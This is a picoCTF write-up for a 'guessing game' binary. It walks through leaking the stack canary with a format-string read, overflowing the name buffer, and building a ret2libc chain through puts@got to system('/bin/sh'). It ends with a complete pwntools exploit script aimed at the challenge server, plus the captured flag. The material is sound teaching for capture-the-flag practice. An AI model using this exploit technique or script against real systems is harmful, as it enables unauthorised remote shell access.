# Tried -3727: Congrats! You win! Your prize is this print statement!
# random number is -3727

Now that we know the random number, we need to leak the canary.

./vuln 
Welcome to my guessing game!
Version: 2

What number would you like to guess?
-863
Congrats! You win! Your prize is this print statement!

New winner!
Name? AAAA %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p
Congrats: AAAA 0x200 0xf7ed45c0 0x804877d 0x1 0xfffffca1 0xfffffca1 0x41414141 0x24312520

What number would you like to guess?

Here’s the disassembly for the win function.

gef➤  disass win
Dump of assembler code for function win:
   0x0804876e <+0>:     push   ebp
   0x0804876f <+1>:     mov    ebp,esp
   0x08048771 <+3>:     push   ebx
   0x08048772 <+4>:     sub    esp,0x214
   0x08048778 <+10>:    call   0x8048570 <__x86.get_pc_thunk.bx>
   0x0804877d <+15>:    add    ebx,0x183f
   0x08048783 <+21>:    mov    eax,gs:0x14
   0x08048789 <+27>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804878c <+30>:    xor    eax,eax
   0x0804878e <+32>:    sub    esp,0xc
   0x08048791 <+35>:    lea    eax,[ebx-0x15fd]
   0x08048797 <+41>:    push   eax
   0x08048798 <+42>:    call   0x8048470 <printf@plt>
   0x0804879d <+47>:    add    esp,0x10
   0x080487a0 <+50>:    sub    esp,0xc
   0x080487a3 <+53>:    lea    eax,[ebp-0x20c]
   0x080487a9 <+59>:    push   eax
   0x080487aa <+60>:    call   0x8048480 <gets@plt>
   0x080487af <+65>:    add    esp,0x10
   0x080487b2 <+68>:    sub    esp,0xc
   0x080487b5 <+71>:    lea    eax,[ebx-0x15ea]
   0x080487bb <+77>:    push   eax
   0x080487bc <+78>:    call   0x8048470 <printf@plt>
   0x080487c1 <+83>:    add    esp,0x10
   0x080487c4 <+86>:    sub    esp,0xc
   0x080487c7 <+89>:    lea    eax,[ebp-0x20c]
   0x080487cd <+95>:    push   eax
   0x080487ce <+96>:    call   0x8048470 <printf@plt>
   0x080487d3 <+101>:   add    esp,0x10
   0x080487d6 <+104>:   sub    esp,0xc
   0x080487d9 <+107>:   lea    eax,[ebx-0x15df]
   0x080487df <+113>:   push   eax
   0x080487e0 <+114>:   call   0x80484c0 <puts@plt>
   0x080487e5 <+119>:   add    esp,0x10
   0x080487e8 <+122>:   nop
   0x080487e9 <+123>:   mov    eax,DWORD PTR [ebp-0xc]
   0x080487ec <+126>:   xor    eax,DWORD PTR gs:0x14
   0x080487f3 <+133>:   je     0x80487fa <win+140>
   0x080487f5 <+135>:   call   0x8048910 <__stack_chk_fail_local>
   0x080487fa <+140>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x080487fd <+143>:   leave
   0x080487fe <+144>:   ret
End of assembler dump.

You can see that the buffer starts at [ebp-0x20] because it’s the operand used for the instruction right before the gets function call.

0x080487a3 <+53>:    lea    eax,[ebp-0x20c]
0x080487a9 <+59>:    push   eax
0x080487aa <+60>:    call   0x8048480 <gets@plt>

You can also check that the canary is at [ebp-0xc].

0x08048783 <+21>:    mov    eax,gs:0x14
0x08048789 <+27>:    mov    DWORD PTR [ebp-0xc],eax

Here’s a diagram of what the stack looks like.

We need to fill the winner buffer which is 512 bytes than leak the canary value 4 bytes because we’re on x86 (32-bit) and then we need to fill 12 bytes to cover the ebp.

winner [512] 

canary 4 bytes [ebp-0xc]

return address [ebp+0x4]

This payload will fill the buffer, pass the canary value and fill right until the ebp.

payload=b'A'*512+p32(canary)+b'B'*12

Now we need to overwrite the return address.

We’ll now overwrite the return address so we can call puts@plt, then we’ll pass another return address so we can call puts@got which will print the memory address of puts in libc.

Why do you need to pass a return address between puts@plt and puts@got?

For the CPU to continue the instruction after changing the return address from puts@plt to puts@got we need to pass a return address.

I passed the return address of win because then we can trigger the BOF and fsb vulnerability again.

The code below prints the puts@got.

payload+=p32(e.plt.puts)+p32(e.sym.win)+p32(e.got.puts)

If you’ve read my previous post you’ll now kind of get a grasp on what the PLT and GOT is.

Since we now leaked the memory address of puts@got, we can substract the offset of puts to calculate the base of the binary.

Here’s the code that prints the canary and the puts address.

from pwn import *

r=remote('shape-facility.picoctf.net', 49503)
e=ELF('./vuln')
libc=ELF('./vuln')
r.sendlineafter(b'What number would you like to guess?', b'-3727')
r.sendlineafter(b'Name?', b'%135$p')
canary=int(r.recvline().strip(b'\n').split(b' ')[-1],16)
log.info(f'canary is {hex(canary)}')

payload=b'A'*512+p32(canary)+b'B'*12
payload+=p32(e.plt.puts)+p32(e.sym.win)+p32(e.got.puts)
r.sendlineafter(b'What number would you like to guess?', b'-3727')
r.sendlineafter(b'Name? ', payload)
r.recvuntil(b'Congrats: ')
r.recvlines(2)

leak=r.recv(4)
puts_address=u32(leak)
log.info(f'puts_address {hex(puts_address)}')
r.interactive()

# [*] canary is 0x37906200
# [*] puts_address 0xebc1a560

A very important fact that I didn’t mention is that the canary always ends with a null byte 00.

I’m not sure why it ends with a 00 though.

Then we can calculate the offset to the syscalls or symbols we want such as system() or /bin/sh.

Even though we now know the canary and the puts@got we don’t know the offsets to system or /bin/sh unless we know the specific libc version.

Using libc.rip will tell us which version of libc we’re using.

puts_offset

Since we’re using 32 bit ELF’s it’s probably libc6-i386_2.27-3ubuntu1.6_amd64 or libc6-i386_2.27-3ubuntu1.5_amd64 or libc6-i386_2.30-7_amd64.

I chose libc6-i386_2.27-3ubuntu1.6_amd64 because it was on top if it’s not the libc version picoCTF used then I can move to the next candidate.

When clicking on a certain libc verison you can also see the offsets for functions as well.

alt text

You can get a copy of the libc using wget.

Although you can get the “/bin/sh” offset using the libc database.

A lot of ctfers used this strings trick to grab the offset of “/bin/sh”.

strings -atx libc6-i386_2.27-3ubuntu1.5_amd64.so | grep "/bin/sh"

Now we can actually calculate all the addresses we need.

After calculating the actual memory addresses for system and /bin/sh we can send the exact same payload once again to get the shell.

Exploit Code

from pwn import *

r=remote('shape-facility.picoctf.net', 58168)
e=ELF('./vuln')
libc=ELF('./vuln')
r.sendlineafter(b'What number would you like to guess?', b'-3727')
r.sendlineafter(b'Name?', b'%135$p')
canary=int(r.recvline().strip(b'\n').split(b' ')[-1],16)
log.info(f'canary is {hex(canary)}')

payload=b'A'*512+p32(canary)+b'B'*12
payload+=p32(e.plt.puts)+p32(e.sym.win)+p32(e.got.puts)
r.sendlineafter(b'What number would you like to guess?', b'-3727')
r.sendlineafter(b'Name? ', payload)
r.recvuntil(b'Congrats: ')
r.recvlines(2)

leak=r.recv(4)
puts_address=u32(leak)
log.info(f'puts_address {hex(puts_address)}')

system=0x0003cf10
bin_sh=0x17b9db # strings -atx libc6-i386_2.27-3ubuntu1.5_amd64.so | grep "/bin/sh"
puts_offset=0x00067560
libc.address=puts_address-puts_offset
system=libc.address+system 
bin_sh=libc.address+bin_sh

payload2=b'A'*512+p32(canary)+b'B'*12
payload2+=p32(system)+p32(e.sym.win)+p32(bin_sh)
r.sendlineafter(b'Name? ', payload2)

r.interactive()
# picoCTF{p0p_r0p_4nd_dr0p_1t_50be6553020152ce}

Further Reading

There’s a lot of material you can and should read to get a better understanding of this challenge.

  1. Canary

  2. Reference Writeup

  3. A look at dynamic linking

  4. PLT & GOT (StackOverflow)

  5. PLT & GOT (StackExchange)

  6. PLT Rewriting

  7. Lazy Binding

  8. gcc -Wl flag

  9. /bin/sh offset

  10. Frame pointer

I forgot to mention why you need to use %135$p to leak the canary; prof Martin’s video tells you the reason.

Watching his videos are helpful.

I’ll add the explanation after revising and proofreading the post.

I tried to explain the solution as detailed as I could, but I’m not sure if I did a good job.

Hardest picoCTF problem I’ve ever solved.

It’s probably because I haven’t solved any of the hard heap problems yet.